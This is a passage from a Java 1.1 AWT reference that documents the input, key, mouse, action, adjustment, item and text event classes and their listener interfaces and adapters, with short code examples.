The first set of InputEvent masks are for the different modifier keys on the keyboard. They are often set to indicate which button on a multibutton mouse has been pressed.

public final static int BUTTON1_MASK (New)
public final static int BUTTON2_MASK (New)
public final static int BUTTON3_MASK (New)

The button mask constants are equivalents for the modifier masks, allowing you to write more intelligible code for dealing with button events. BUTTON2_MASK is the same as ALT_MASK, and BUTTON3_MASK is the same as META_MASK; BUTTON1_MASK currently isn't usable and is never set. For example, if you want to check whether the user pressed the second (middle) mouse button, you can test against BUTTON2_MASK rather than ALT_MASK. Example 4.3 demonstrates how to use these constants.

Constructors

InputEvent is an abstract class with no public constructors. Methods

Unlike the Event class, InputEvent has an isAltDown() method to check the ALT_MASK setting.

public boolean isAltDown() (New)

The isAltDown() method checks to see if ALT_MASK is set. If so, isAltDown() returns true; otherwise, it returns false.

public boolean isControlDown() (New)

The isControlDown() method checks to see if CONTROL_MASK is set. If so, isControlDown() returns true; otherwise, it returns false.

public boolean isMetaDown() (New)

The isMetaDown() method checks to see if META_MASK is set. If so, the method isMetaDown() returns true; otherwise, it returns false.

public boolean isShiftDown() (New)

The isShiftDown() method checks to see if SHIFT_MASK is set. If so, the method isShiftDown() returns true; otherwise, it returns false.

public int getModifiers() (New)

The getModifiers() method returns the current state of the modifier keys. For each modifier key pressed, a different flag is raised in the return argument. To check if a modifier is set, AND the return value with a flag and check for a nonzero value.

if ((ie.getModifiers() & MouseEvent.META_MASK) != 0) {
    System.out.println ("Meta is set");
}

public long getWhen() (New)

The getWhen() method returns the time at which the event occurred. The return value is in milliseconds. Convert the long value to a Date to examine the contents. For example:

Date d = new Date (ie.getWhen());

public void consume() (New)

This class overrides the AWTEvent.consume() method to make it public. Anyone, not just a subclass, can mark an InputEvent as consumed.

public boolean isConsumed() (New)

This class overrides the AWTEvent.isconsumed() method to make it public. Anyone can find out if an InputEvent has been consumed.

KeyEvent

The KeyEvent class is a subclass of InputEvent for dealing with keyboard events. There are two fundamental key actions: key presses and key releases. These are represented by KEY_PRESSED and KEY_RELEASED events. Of course, it's inconvenient to think in terms of all these individual actions, so Java also keeps track of the "logical" keys you type. These are represented by KEY_TYPED events. For every keyboard key pressed, a KeyEvent.KEY_PRESSED event occurs; the key that was pressed is identified by one of the virtual keycodes from Table 4.4 and is available through the getKeyCode() method. For example, if you type an uppercase A, you will get two KEY_PRESSED events, one for shift (VK_SHIFT) and one for the "a" (VK_A). You will also get two KeyEvent.KEY_RELEASED events. However, there will only be one KeyEvent.KEY_TYPED event; if you call getKeyChar() for the KEY_TYPED event, the result will be the Unicode character "A" (type char). KEY_TYPED events do not happen for action-oriented keys like function keys. Constants

Like the Event class, numerous constants help you identify all the keyboard keys. Table 4.4 shows the constants that refer to these keyboard keys. The values are all declared public static final int. A few keys represent ASCII characters that have string equivalents like \n.

Table 4.4: Key Constants in Java 1.1
VK_ENTER | VK_0 | VK_A | VK_F1 | VK_ACCEPT
VK_BACK_SPACE | VK_1 | VK_B | VK_F2 | VK_CONVERT
VK_TAB | VK_2 | VK_C | VK_F3 | VK_FINAL
VK_CANCEL | VK_3 | VK_D | VK_F4 | VK_KANA
VK_CLEAR | VK_4 | VK_E | VK_F5 | VK_KANJI
VK_SHIFT | VK_5 | VK_F | VK_F6 | VK_MODECHANGE
VK_CONTROL | VK_6 | VK_G | VK_F7 | VK_NONCONVERT
VK_ALT | VK_7 | VK_H | VK_F8
VK_PAUSE | VK_8 | VK_I | VK_F9
VK_CAPS_LOCK | VK_9 | VK_J | VK_F10
VK_ESCAPE | VK_NUMPAD0 | VK_K | VK_F11
VK_SPACE | VK_NUMPAD1 | VK_L | VK_F12
VK_PAGE_UP | VK_NUMPAD2 | VK_M | VK_DELETE
VK_PAGE_DOWN | VK_NUMPAD3 | VK_N | VK_NUM_LOCK
VK_END | VK_NUMPAD4 | VK_O | VK_SCROLL_LOCK
VK_HOME | VK_NUMPAD5 | VK_P | VK_PRINTSCREEN
VK_LEFT | VK_NUMPAD6 | VK_Q | VK_INSERT
VK_UP | VK_NUMPAD7 | VK_R | VK_HELP
VK_RIGHT | VK_NUMPAD8 | VK_S | VK_META
VK_DOWN | VK_NUMPAD9 | VK_T | VK_BACK_QUOTE
VK_COMMA | VK_MULTIPLY | VK_U | VK_QUOTE
VK_PERIOD | VK_ADD | VK_V | VK_OPEN_BRACKET
VK_SLASH | VK_SEPARATER[1] | VK_W | VK_CLOSE_BRACKET
VK_SEMICOLON | VK_SUBTRACT | VK_X
VK_EQUALS | VK_DECIMAL | VK_Y
VK_BACK_SLASH | VK_DIVIDE | VK_Z

Footnotes:

[1] Expect VK_SEPARATOR to be added at some future point. This constant represents the numeric separator key on your keyboard.

public final static int VK_UNDEFINED (New)

When a KEY_TYPED event happens, there is no keycode. If you ask for it, the getKeyCode() method returns VK_UNDEFINED.

public final static char CHAR_UNDEFINED (New)

For KEY_PRESSED and KEY_RELEASED events that do not have a corresponding Unicode character to display (like Shift), the getKeyChar() method returns CHAR_UNDEFINED.

Other constants identify what the user did with a key.

public final static int KEY_FIRST (New)
public final static int KEY_LAST (New)

The KEY_FIRST and KEY_LAST constants hold the endpoints of the range of identifiers for KeyEvent types.

public final static int KEY_PRESSED (New)

The KEY_PRESSED constant identifies key events that occur because a keyboard key has been pressed. To differentiate between action and non-action keys, call the isActionKey() method described later. The KeyListener.keyPressed() interface method handles this event.

public final static int KEY_RELEASED (New)

The KEY_RELEASED constant identifies key events that occur because a keyboard key has been released. The KeyListener.keyReleased() interface method handles this event.

public final static int KEY_TYPED (New)

The KEY_TYPED constant identifies a combination of a key press followed by a key release for a non-action oriented key. The KeyListener.keyTyped() interface method handles this event.

Constructors

public KeyEvent(Component source, int id, long when, int modifiers, int keyCode, char keyChar) (New)

This constructor[2] creates a KeyEvent with the given source; the source is the object generating the event. The id field identifies the event type. If system-generated, the id will be one of the constants above. However, nothing stops you from creating your own id for your event types. The when parameter represents the time the event happened. The modifiers parameter holds the state of the various modifier keys; masks to represent these keys are defined in the InputEvent class. Finally, keyCode is the virtual key that triggered the event, and keyChar is the character that triggered it.

[2] Beta releases of Java 1.1 have an additional constructor that lacks the keyChar parameter. Comments in the code indicate that this constructor will be deleted prior to the 1.1.1 release.

The KeyEvent constructor throws the IllegalArgumentException run-time exception in two situations. First, if the id is KEY_TYPED and keyChar is CHAR_UNDEFINED, it throws an exception because if a key has been typed, it must be associated with a character. Second, if the id is KEY_TYPED and keyCode is not VK_UNDEFINED, it throws an exception because typed keys frequently represent combinations of key codes (for example, Shift struck with "a"). It is legal for a KEY_PRESSED or KEY_RELEASED event to contain both a keyCode and a keyChar, though it's not clear what such an event would represent.

Methods

public char getKeyChar() (New)

The getKeyChar() method retrieves the Unicode character associated with the key in this KeyEvent. If there is no character, CHAR_UNDEFINED is returned.

public void setKeyChar(char KeyChar) (New)

The setKeyChar() method allows you to change the character for the KeyEvent. You could use this method to convert characters to uppercase.

public int getKeyCode() (New)

The getKeyCode() method retrieves the virtual keycode (i.e., one of the constants in Table 4.4) of this KeyEvent.

public void setKeyCode(int keyCode) (New)

The setKeyCode() method allows you to change the keycode for the KeyEvent. Changes you make to the KeyEvent are seen by subsequent listeners and the component's peer.

public void setModifiers(int modifiers) (New)

The setModifiers() method allows you to change the modifier keys associated with a KeyEvent to modifiers. The parent class InputEvent already has a getModifiers() method that is inherited. Since this is your own personal copy of the KeyEvent, no other listener can find out about the change.

public boolean isActionKey() (New)

The isActionKey() method allows you to check whether the key associated with the KeyEvent is an action key (e.g., function, arrow, keypad) or not (e.g., an alphanumeric key). For action keys, this method returns true; otherwise, it returns false. For action keys, the keyChar field usually has the value CHAR_UNDEFINED.

public static String getKeyText (int keyCode) (New)

The static getKeyText() method returns the localized textual string for keyCode. For each nonalphanumeric virtual key, there is a key name (the "key text"); these names can be changed using the AWT properties. Table 4.5 shows the properties used to redefine the key names and the default name for each key.

Table 4.5: Key Text Properties
Property | Default | Property | Default
AWT.accept | Accept | AWT.f8 | F8
AWT.add | NumPad + | AWT.f9 | F9
AWT.alt | Alt | AWT.help | Help
AWT.backQuote | Back Quote | AWT.home | Home
AWT.backSpace | Backspace | AWT.insert | Insert
AWT.cancel | Cancel | AWT.kana | Kana
AWT.capsLock | Caps Lock | AWT.kanji | Kanji
AWT.clear | Clear | AWT.left | Left
AWT.control | Control | AWT.meta | Meta
AWT.decimal | NumPad . | AWT.modechange | Mode Change
AWT.delete | Delete | AWT.multiply | NumPad *
AWT.divide | NumPad / | AWT.noconvert | No Convert
AWT.down | Down | AWT.numLock | Num Lock
AWT.end | End | AWT.numpad | NumPad
AWT.enter | Enter | AWT.pause | Pause
AWT.escape | Escape | AWT.pgdn | Page Down
AWT.final | Final | AWT.pgup | Page Up
AWT.f1 | F1 | AWT.printScreen | Print Screen
AWT.f10 | F10 | AWT.quote | Quote
AWT.f11 | F11 | AWT.right | Right
AWT.f12 | F12 | AWT.scrollLock | Scroll Lock
AWT.f2 | F2 | AWT.separator | NumPad ,
AWT.f3 | F3 | AWT.shift | Shift
AWT.f4 | F4 | AWT.space | Space
AWT.f5 | F5 | AWT.subtract | NumPad -
AWT.f6 | F6 | AWT.tab | Tab
AWT.f7 | F7 | AWT.unknown | Unknown keyCode
AWT.up | Up |  |

public static String getKeyModifiersText (int modifiers) (New)

The static getKeyModifiersText() method returns the localized textual string for modifiers. The parameter modifiers is a combination of the key masks defined by the InputEvent class. As with the keys themselves, each modifier is associated with a textual name. If multiple modifiers are set, they are concatenated with a plus sign (+) separating them. Similar to getKeyText(), the strings are localized because for each modifier, an awt property is available to redefine the string. Table 4.6 lists the properties and the default modifier names.

Table 4.6: Key Modifiers Text Properties
Property | Default
AWT.alt | Alt
AWT.control | Ctrl
AWT.meta | Meta
AWT.shift | Shift

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is called in turn to build the string to display. At the KeyEvent level, paramString() adds a textual string for the id (if available), the text for the key (if available from getKeyText()), and modifiers (from getKeyModifiersText()). A key press event would result in something like the following:

java.awt.event.KeyEvent[KEY_PRESSED,keyCode=118,
F7,modifiers=Ctrl+Shift] on textfield0

MouseEvent

The MouseEvent class is a subclass of InputEvent for dealing with mouse events. Constants

public final static int MOUSE_FIRST (New)
public final static int MOUSE_LAST (New)

The MOUSE_FIRST and MOUSE_LAST constants hold the endpoints of the range of identifiers for MouseEvent types.

public final static int MOUSE_CLICKED (New)

The MOUSE_CLICKED constant identifies mouse events that occur when a mouse button is clicked. A mouse click consists of a mouse press and a mouse release. The MouseListener.mouseClicked() interface method handles this event.

public final static int MOUSE_DRAGGED (New)

The MOUSE_DRAGGED constant identifies mouse events that occur because the mouse is moved over a component with a mouse button pressed. The interface method MouseMotionListener.mouseDragged() handles this event.

public final static int MOUSE_ENTERED (New)

The MOUSE_ENTERED constant identifies mouse events that occur when the mouse first enters a component. The MouseListener.mouseEntered() interface method handles this event.

public final static int MOUSE_EXITED (New)

The MOUSE_EXISTED constant identifies mouse events that occur because the mouse leaves a component's space. The MouseListener.mouseExited() interface method handles this event.

public final static int MOUSE_MOVED (New)

The MOUSE_MOVED constant identifies mouse events that occur because the mouse is moved without a mouse button down. The interface method MouseMotionListener.mouseMoved() handles this event.

public final static int MOUSE_PRESSED (New)

The MOUSE_PRESSED constant identifies mouse events that occur because a mouse button has been pressed. The MouseListener.mousePressed() interface method handles this event.

public final static int MOUSE_RELEASED (New)

The MOUSE_RELEASED constant identifies mouse events that occur because a mouse button has been released. The MouseListener.mouseReleased() interface method handles this event.

Constructors

public MouseEvent(Component source, int id, long when, int modifiers, int x, int y, int clickCount, boolean popupTrigger) (New)

This constructor creates a MouseEvent with the given source; the source is the object generating the event. The id field serves as the identifier of the event type. If system-generated, the id will be one of the constants described in the previous section. However, nothing stops you from creating your own id for your event types. The when parameter represents the time the event happened. The modifiers parameter holds the state of the various modifier keys, using the masks defined for the InputEvent class, and lets you determine which button was pressed. (x, y) represents the coordinates of the event relative to the origin of source, while clickCount designates the number of consecutive times the mouse button was pressed within an indeterminate time period. Finally, the popupTrigger parameter signifies whether this mouse event should trigger the display of a PopupMenu, if one is available. (The PopupMenu class is discussed in Chapter 10, Would You Like to Choose from the Menu?)

Methods

public int getX() (New)

The getX() method returns the current x coordinate of the event relative to the source.

public int getY() (New)

The getY() method returns the current y coordinate of the event relative to the source.

public synchronized Point getPoint() (New)

The getPoint() method returns the current x and y coordinates of the event relative to the event source.

public synchronized void translatePoint(int x, int y) (New)

The translatePoint() method translates the x and y coordinates of the MouseEvent instance by x and y. This method functions similarly to the Event.translate() method.

public int getClickCount() (New)

The getClickCount() method retrieves the current clickCount setting for the event.

public boolean isPopupTrigger() (New)

The isPopupTrigger() method retrieves the state of the popupTrigger setting for the event. If this method returns true and the source of the event has an associated PopupMenu, the event should be used to display the menu, as shown in the following code. Since the action the user performs to raise a pop-up menu is platform specific, this method lets you raise a pop-up menu without worrying about what kind of event took place. You only need to call isPopupTrigger() and show the menu if it returns true.

public void processMouseEvent(MouseEvent e) {
    if (e.isPopupTrigger())
        aPopup.show(e.getComponent(), e.getX(), e.getY());
    super.processMouseEvent(e);
}

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is called in turn to build the string to display. At the MouseEvent level, a textual string for the id (if available) is tacked on to the coordinates, modifiers, and click count. A mouse down event would result in something like the following:

java.awt.event.MouseEvent[MOUSE_PRESSED,(5,7),mods=0,clickCount=2] on textfield0

ActionEvent

The ActionEvent class is the first higher-level event class. It encapsulates events that signify that the user is doing something with a component. When the user selects a button, list item, or menu item, or presses the Return key in a text field, an ActionEvent passes through the event queue looking for listeners. Constants

public final static int ACTION_FIRST (New)
public final static int ACTION_LAST (New)

The ACTION_FIRST and ACTION_LAST constants hold the endpoints of the range of identifiers for ActionEvent types.

public final static int ACTION_PERFORMED (New)

The ACTION_PERFORMED constant represents when a user activates a component. The ActionListener.actionPerformed() interface method handles this event.

public static final int ALT_MASK (New)
public static final int CTRL_MASK (New)
public static final int META_MASK (New)
public static final int SHIFT_MASK (New)

Similar to the mouse events, action events have modifiers. However, they are not automatically set by the system, so they don't help you see what modifiers were pressed when the event occurred. You may be able to use these constants if you are generating your own action events. To see the value of an action event's modifiers, call getModifiers().

Constructors

public ActionEvent(Object source, int id, String command) (New)

This constructor creates an ActionEvent with the given source; the source is the object generating the event. The id field serves as the identifier of the event type. If system-generated, the id will be ACTION_PERFORMED. However, nothing stops you from creating your own id for your event types. The command parameter is the event's action command. Ideally, the action command should be some locale-independent string identifying the user's action. Most components that generate action events set this field to the selected item's label by default.

public ActionEvent(Object source, int id, String command, int modifiers) (New)

This constructor adds modifiers to the settings for an ActionEvent. This allows you to define action-oriented events that occur only if certain modifier keys are pressed.

Methods

public String getActionCommand() (New)

The getActionCommand() method retrieves the command field from the event. It represents the command associated with the object that triggered the event. The idea behind the action command is to differentiate the command associated with some event from the displayed content of the event source. For example, the action command for a button may be Help. However, what the user sees on the label of the button could be a string localized for the environment of the user. Instead of having your event handler look for 20 or 30 possible labels, you can test whether an event has the action command Help.

public int getModifiers() (New)

The getModifiers() method returns the state of the modifier keys. For each one set, a different flag is raised in the method's return value. To check if a modifier is set, AND the return value with a flag, and check for a nonzero value.

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is called in turn to build the string to display. At the ActionEvent level, paramString() adds a textual string for the event id (if available), along with the command from the constructor. When the user selects a Button with the action command Help, printing the resulting event yields:

java.awt.event.ActionEvent[ACTION_PERFORMED,cmd=Help] on button0

AdjustmentEvent

The AdjustmentEvent class is another higher-level event class. It encapsulates events that represent scrollbar motions. When the user moves the slider of a scrollbar or scroll pane, an AdjustmentEvent passes through the event queue looking for listeners. Although there is only one type of adjustment event, there are five subtypes represented by constants UNIT_DECREMENT, UNIT_INCREMENT, and so on. Constants

public final static int ADJUSTMENT_FIRST (New)
public final static int ADJUSTMENT_LAST (New)

The ADJUSTMENT_FIRST and ADJUSTMENT_LAST constants hold the endpoints of the range of identifiers for AdjustmentEvent types.

public final static int ADJUSTMENT_VALUE_CHANGED (New)

The ADJUSTMENT_VALUE_CHANGED constant identifies adjustment events that occur because a user moves the slider of a Scrollbar or ScrollPane. The AdjustmentListener.adjustmentValueChanged() interface method handles this event.

public static final int UNIT_DECREMENT (New)

UNIT_DECREMENT identifies adjustment events that occur because the user selects the increment arrow.

public static final int UNIT_INCREMENT (New)

UNIT_INCREMENT identifies adjustment events that occur because the user selects the decrement arrow.

public static final int BLOCK_DECREMENT (New)

BLOCK_DECREMENT identifies adjustment events that occur because the user selects the block decrement area, between the decrement arrow and the slider.

public static final int BLOCK_INCREMENT (New)

BLOCK_INCREMENT identifies adjustment events that occur because the user selects the block increment area, between the increment arrow and the slider.

public static final int TRACK (New)

TRACK identifies adjustment events that occur because the user selects the slider and drags it. Multiple adjustment events of this subtype usually occur consecutively.

Constructors

public AdjustmentEvent(Adjustable source, int id, int type, int value) (New)

This constructor creates an AdjustmentEvent with the given source; the source is the object generating the event. The id field serves as the identifier of the event type. If system-generated, the id of the AdjustmentEvent will be ADJUSTMENT_VALUE_CHANGED. However, nothing stops you from creating your own id for your event types. The type parameter is normally one of the five subtypes, with value being the current setting of the slider, but is not restricted to that.

Methods

public Adjustable getAdjustable() (New)

The getAdjustable() method retrieves the Adjustable object associated with this event--that is, the event's source.

public int getAdjustmentType() (New)

The getAdjustmentType() method retrieves the type parameter from the constructor. It represents the subtype of the current event and, if system-generated, is one of the following constants: UNIT_DECREMENT, UNIT_INCREMENT, BLOCK_DECREMENT, BLOCK_INCREMENT, or TRACK.

public int getValue() (New)

The getValue() method retrieves the value parameter from the constructor. It represents the current setting of the adjustable object.

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is called to help build the string to display. At the AdjustableEvent level, paramString() adds a textual string for the event id (if available), along with a textual string of the type (if available), and value. For example:

java.awt.event.AdjustableEvent[ADJUSTMENT_VALUE_CHANGED,
adjType=TRACK,value=27] on scrollbar0

ItemEvent

The ItemEvent class is another higher-level event class. It encapsulates events that occur when the user selects a component, like ActionEvent. When the user selects a checkbox, choice, list item, or checkbox menu item, an ItemEvent passes through the event queue looking for listeners. Although there is only one type of ItemEvent, there are two subtypes represented by the constants SELECTED and DESELECTED. Constants

public final static int ITEM_FIRST (New)
public final static int ITEM_LAST (New)

The ITEM_FIRST and ITEM_LAST constants hold the endpoints of the range of identifiers for ItemEvent types.

public final static int ITEM_STATE_CHANGED (New)

The ITEM_STATE_CHANGED constant identifies item events that occur because a user selects a component, thus changing its state. The interface method ItemListener.itemStateChanged() handles this event.

public static final int SELECTED (New)

SELECTED indicates that the user selected the item.

public static final int DESELECTED (New)

DESELECTED indicates that the user deselected the item.

Constructors

public ItemEvent(ItemSelectable source, int id, Object item, int stateChange) (New)

This constructor creates a ItemEvent with the given source; the source is the object generating the event. The id field serves as the identifier of the event type. If system-generated, the id will be ITEM_STATE_CHANGE. However, nothing stops you from creating your own id for your event types. The item parameter represents the text of the item selected: for a Checkbox, this would be its label, for a Choice the current selection. For your own events, this parameter could be virtually anything, since its type is Object.

Methods

public ItemSelectable getItemSelectable() (New)

The getItemSelectable() method retrieves the ItemSelectable object associated with this event--that is, the event's source.

public Object getItem() (New)

The getItem() method returns the item that was selected. This usually represents some text to help identify the source but could be nearly anything for user-generated events.

public int getStateChange() (New)

The getStateChange() method returns the stateChange parameter from the constructor and, if system generated, is either SELECTED or DESELECTED.

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is called in turn to build the string to display. At the ItemEvent level, paramString() adds a textual string for the event id (if available), along with a textual string indicating the value of stateChange (if available) and item. For example:

java.awt.event.ItemEvent[ITEM_STATE_CHANGED,item=Help,
stateChange=SELECTED] on checkbox1

TextEvent

The TextEvent class is yet another higher-level event class. It encapsulates events that occur when the contents of a TextComponent have changed, although is not required to have a TextComponent source. When the contents change, either programmatically by a call to setText() or because the user typed something, a TextEvent passes through the event queue looking for listeners. Constants

public final static int TEXT_FIRST (New)
public final static int TEXT_LAST (New)

The TEXT_FIRST and TEXT_LAST constants hold the endpoints of the range of identifiers for TextEvent types.

public final static int TEXT_VALUE_CHANGED (New)

The TEXT_VALUE_CHANGED constant identifies text events that occur because a user changes the contents of a text component. The interface method TextListener.textValueChanged() handles this event.

Constructors

public TextEvent(Object source, int id) (New)

This constructor creates a TextEvent with the given source; the source is the object generating the event. The id field identifies the event type. If system-generated, the id will be TEXT_VALUE_CHANGE. However, nothing stops you from creating your own id for your event types.

Method

public String paramString() (New)

When you call the toString() method of an AWTEvent, the paramString() method is called in turn to build the string to display. At the TextEvent level, paramString() adds a textual string for the event id (if available).

Event Listener Interfaces and Adapters

Java 1.1 has 11 event listener interfaces, which specify the methods a class must implement to receive different kinds of events. For example, the ActionListener interface defines the single method that is called when an ActionEvent occurs. These interfaces replace the various event-handling methods of Java 1.0: action() is now the actionPerformed() method of the ActionListener interface, mouseUp() is now the mouseReleased() method of the MouseListener interface, and so on. Most of the listener interfaces have a corresponding adapter class, which is an abstract class that provides a null implementation of all the methods in the interface. (Although an adapter class has no abstract methods, it is declared abstract to remind you that it must be subclassed.) Rather than implementing a listener interface directly, you have the option of extending an adapter class and overriding only the methods you care about. (Much more complex adapters are possible, but the adapters supplied with AWT are very simple.) The adapters are available for the listener interfaces with multiple methods. (If there is only one method in the listener interface, there is no need for an adapter.)

This section describes Java 1.1's listener interfaces and adapter classes. It's worth noting here that Java 1.1 does not allow you to modify the original event when you're writing an event handler.

ActionListener

The ActionListener interface contains the one method that is called when an ActionEvent occurs. It has no adapter class. For an object to listen for action events, it is necessary to call the addActionListener() method with the class that implements the ActionListener interface as the parameter. The method addActionListener() is implemented by Button, List, MenuItem, and TextField components. Other components don't generate action events.

public abstract void actionPerformed(ActionEvent e) (New)

The actionPerformed() method is called when a component is selected or activated. Every component is activated differently; for a List, activation means that the user has double-clicked on an entry. See the appropriate section for a description of each component.

actionPerformed() is the Java 1.1 equivalent of the action() method in the 1.0 event model.

AdjustmentListener

The AdjustmentListener interface contains the one method that is called when an AdjustmentEvent occurs. It has no adapter class. For an object to listen for adjustment events, it is necessary to call addAdjustmentListener() with the class that implements the AdjustmentListener interface as the parameter. The addAdjustmentListener() method is implemented by the Scrollbar component and the Adjustable interface. Other components don't generate adjustment events.

public abstract void adjustmentValueChanged(AdjustmentEvent e) (New)

The adjustmentValueChanged() method is called when a slider is moved. The Scrollbar and ScrollPane components have sliders, and generate adjustment events when the sliders are moved. (The TextArea and List components also have sliders, but do not generate adjustment events.) See the appropriate section for a description of each component.

There is no real equivalent to adjustmentValueChanged() in Java 1.0; to work with scrolling events, you had to override the handleEvent() method.

ComponentListener and ComponentAdapter

The ComponentListener interface contains four methods that are called when a ComponentEvent occurs; component events are used for general actions on components, like moving or resizing a component. The adapter class corresponding to ComponentListener is ComponentAdapter. If you care only about one or two of the methods in ComponentListener, you can subclass the adapter and override only the methods that you are interested in. For an object to listen for component events, it is necessary to call Component.addComponentListener() with the class that implements the interface as the parameter.

public abstract void componentResized(ComponentEvent e) (New)

The componentResized() method is called when a component is resized (for example, by a call to Component.setSize()).

public abstract void componentMoved(ComponentEvent e) (New)

The componentMoved() method is called when a component is moved (for example, by a call to Component.setLocation()).

public abstract void componentShown(ComponentEvent e) (New)

The componentShown() method is called when a component is shown (for example, by a call to Component.show()).

public abstract void componentHidden(ComponentEvent e) (New)

The componentHidden() method is called when a component is hidden (for example, by a call to Component.hide()).

ContainerListener and ContainerAdapter

The ContainerListener interface contains two methods that are called when a ContainerEvent occurs; container events are generated when components are added to or removed from a container. The adapter class for ContainerListener is ContainerAdapter. If you care only about one of the two methods in ContainerListener, you can subclass the adapter and override only the method that you are interested in. For a container to listen for container events, it is necessary to call Container.addContainerListener() with the class that implements the interface as the parameter.

public abstract void componentAdded(ContainerEvent e) (New)

The componentAdded() method is called when a component is added to a container (for example, by a call to Container.add()).

public abstract void componentRemoved(ContainerEvent e) (New)

The componentRemoved() method is called when a component is removed from a container (for example, by a call to Container.remove()).

FocusListener and FocusAdapter

The FocusListener interface has two methods, which are called when a FocusEvent occurs. Its adapter class is FocusAdapter. If you care only about one of the methods, you can subclass the adapter and override the method you are interested in. For an object to listen for a FocusEvent, it is necessary to call the Component.addFocusListener() method with the class that implements the FocusListener interface as the parameter.

public abstract void focusGained(FocusEvent e) (New)

The focusGained() method is called when a component receives input focus, usually by the user clicking the mouse in the area of the component.

This method is the Java 1.1 equivalent of Component.gotFocus() in the Java 1.0 event model.

public abstract void focusLost(FocusEvent e) (New)

The focusLost() method is called when a component loses the input focus.

This method is the Java 1.1 equivalent of Component.lostFocus() in the Java 1.0 event model.

ItemListener

The ItemListener interface contains the one method that is called when an ItemEvent occurs. It has no adapter class. For an object to listen for an ItemEvent, it is necessary to call addItemListener() with the class that implements the ItemListener interface as the parameter. The addItemListener() method is implemented by the Checkbox, CheckboxMenuItem, Choice, and List components. Other components don't generate item events.

public abstract void itemStateChanged(ItemEvent e) (New)

The itemStateChanged() method is called when a component's state is modified. Every component is modified differently; for a List, modifying the component means single-clicking on an entry. See the appropriate section for a description of each component.

KeyListener and KeyAdapter

The KeyListener interface contains three methods that are called when a KeyEvent occurs; key events are generated when the user presses or releases keys. The adapter class for KeyListener is KeyAdapter. If you only care about one or two of the methods in KeyListener, you can subclass the adapter and only override the methods that you are interested in. For an object to listen for key events, it is necessary to call Component.addKeyListener() with the class that implements the interface as the parameter.

public abstract void keyPressed(KeyEvent e) (New)

The keyPressed() method is called when a user presses a key. A key press is, literally, just what it says. A key press event is called for every key that is pressed, including keys like Shift and Control. Therefore, a KEY_PRESSED event has a virtual key code identifying the physical key that was pressed; but that's not the same as a typed character, which usually consists of several key presses (for example, Shift+A to type an uppercase A). The keyTyped() method reports actual characters.

This method is the Java 1.1 equivalent of Component.keyDown() in the Java 1.0 event model.

public abstract void keyReleased(KeyEvent e) (New)

The keyReleased() method is called when a user releases a key. Like the keyPressed() method, when dealing with keyReleased(), you must think of virtual key codes, not characters.

This method is the Java 1.1 equivalent of Component.keyUp() in the Java 1.0 event model.

public abstract void keyTyped(KeyEvent e) (New)

The keyTyped() method is called when a user types a key. The method keyTyped() method reports the actual character typed. Action-oriented keys, like function keys, do not trigger this method being called.

MouseListener and MouseAdapter

The MouseListener interface contains five methods that are called when a nonmotion oriented MouseEvent occurs; mouse events are generated when the user presses or releases a mouse button. (Separate classes, MouseMotionListener and MouseMotionAdapter, are used to handle mouse motion events; this means that you can listen for mouse clicks only, without being bothered by thousands of mouse motion events.) The adapter class for MouseListener is MouseAdapter. If you care about only one or two of the methods in MouseListener, you can subclass the adapter and override only the methods that you are interested in. For an object to listen for mouse events, it is necessary to call the method Window.addWindowListener() with the class that implements the interface as the parameter.

public abstract void mouseEntered(MouseEvent e) (New)

The mouseEntered() method is called when the mouse first enters the bounding area of the component.

This method is the Java 1.1 equivalent of Component.mouseEnter() in the Java 1.0 event model.

public abstract void mouseExited(MouseEvent e) (New)

The mouseExited() method is called when the mouse leaves the bounding area of the component.

This method is the Java 1.1 equivalent of Component.mouseExit() in the Java 1.0 event model.

public abstract void mousePressed(MouseEvent e) (New)

The mousePressed() method is called each time the user presses a mouse button within the component's space.

This method is the Java 1.1 equivalent of Component.mouseDown() in the Java 1.0 event model.

public abstract void mouseReleased(MouseEvent e) (New)

The mouseReleased() method is called when the user releases the mouse button after a mouse press. The user does not have to be over the original component any more; the original component (i.e., the component in which the mouse was pressed) is the source of the event.

This method is the Java 1.1 equivalent of Component.mouseUp() in the Java 1.0 event model.

public abstract void mouseClicked(MouseEvent e) (New)

The mouseClicked() method is called once each time the user clicks a mouse button; that is, once for each mouse press/mouse release combination.

MouseMotionListener and MouseMotionAdapter

The MouseMotionListener interface contains two methods that are called when a motion-oriented MouseEvent occurs; mouse motion events are generated when the user moves the mouse, whether or not a button is pressed. (Separate classes, MouseListener and MouseAdapter, are used to handle mouse clicks and entering/exiting components. This makes it easy to ignore mouse motion events, which are very frequent and can hurt performance. You should listen only for mouse motion events if you specifically need them.) MouseMotionAdapter is the adapter class for MouseMotionListener. If you care about only one of the methods in MouseMotionListener, you can subclass the adapter and override only the method that you are interested in. For an object to listen for mouse motion events, it is necessary to call Component.addMouseMotionListener() with the class that implements the interface as the parameter.

public abstract void mouseMoved(MouseEvent e) (New)

The mouseMoved() method is called every time the mouse moves within the bounding area of the component, and no mouse button is pressed.

This method is the Java 1.1 equivalent of Component.mouseMove() in the Java 1.0 event model.

public abstract void mouseDragged(MouseEvent e) (New)

The mouseDragged() method is called every time the mouse moves while a mouse button is pressed. The source of the MouseEvent is the component that was under the mouse when it was first pressed.

This method is the Java 1.1 equivalent of Component.mouseDrag() in the Java 1.0 event model.

TextListener

The TextListener interface contains the one method that is called when a TextEvent occurs. It has no adapter class. For an object to listen for a TextEvent, it is necessary to call addTextListener() with the class that implements the TextListener interface as the parameter. The addTextListener() method is implemented by the TextComponent class, and thus the TextField and TextArea components. Other components don't generate text events.

public abstract void textValueChanged(TextEvent e) (New)

The textValueChanged() method is called when a text component's contents are modified, either by the user (by a keystroke) or programmatically (by the setText() method).

WindowListener and WindowAdapter

The WindowListener interface contains seven methods that are called when a WindowEvent occurs; window events are generated when something changes the visibility or status of a window. The adapter class for WindowListener is WindowAdapter. If you care about only one or two of the methods in WindowListener, you can subclass the adapter and override only the methods that you are interested in. For an object to listen for window events, it is necessary to call the method Window.addWindowListener() or Dialog.addWindowListener() with the class that implements the interface as the parameter.

public abstract void windowOpened(WindowEvent e) (New)

The windowOpened() method is called when a Window is first opened.

public abstract void windowClosing(WindowEvent e) (New)

The windowClosing() method is triggered whenever the user tries to close the Window.

public abstract void windowClosed(WindowEvent e) (New)

The windowClosed() method is called after the Window has been closed.

public abstract void windowIconified(WindowEvent e) (New)

